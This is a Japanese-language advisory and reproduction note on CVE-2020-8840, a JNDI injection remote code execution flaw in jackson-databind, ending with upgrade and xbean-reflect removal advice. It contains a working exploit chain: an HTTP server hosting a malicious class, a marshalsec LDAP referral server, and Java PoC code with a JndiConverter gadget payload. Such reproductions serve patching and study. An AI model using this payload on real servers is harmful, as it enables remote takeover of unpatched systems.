jackson-databind は、FasterXML プロジェクトグループに属するJSON処理ライブラリです。
2月19日、NVDはセキュリティ勧告を公開し、jackson-databind におけるJNDIインジェクションに起因するリモートコード実行脆弱性(CVE-2020-8840)を開示しました。CVSSスコアは9.8です。影響を受けるバージョンの jackson-databind では、一部の xbean-reflect/JNDI ブラックリストクラス(例:org.apache.xbean.propertyeditor.JndiConverter)が欠如しているため、攻撃者はJNDIインジェクションを利用してリモートコードを実行でき、攻撃が成功するとサーバーの制御権限(Webサービスレベル)を取得できます。
2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

1、Webサーバーディレクトリにコンパイル済みの悪意のあるクラスを配置
ここでは simplehttp を使用して Web サーバーを構築します。
python -m SimpleHTTPServer 8080

2、ldap サービスを起動 ここでは marshalsec を使用します。GitHub リンク:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3、Java プロジェクトを作成し、脆弱性のあるバージョンの jar パッケージをインポート

poc --> ldap --> http
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

1、jackson-databind を 2.9.10.3、2.8.11.5、2.10.x にアップグレード 2、プロジェクト内で xbean-reflect が使用されているか確認。今回の脆弱性の核心的な原因は、xbean-reflect にユーザーが JNDI によるリモートクラスロード操作をトリガーできる特別な悪用チェーンが存在することです。xbean-reflect を削除することで脆弱性の影響を軽減できます。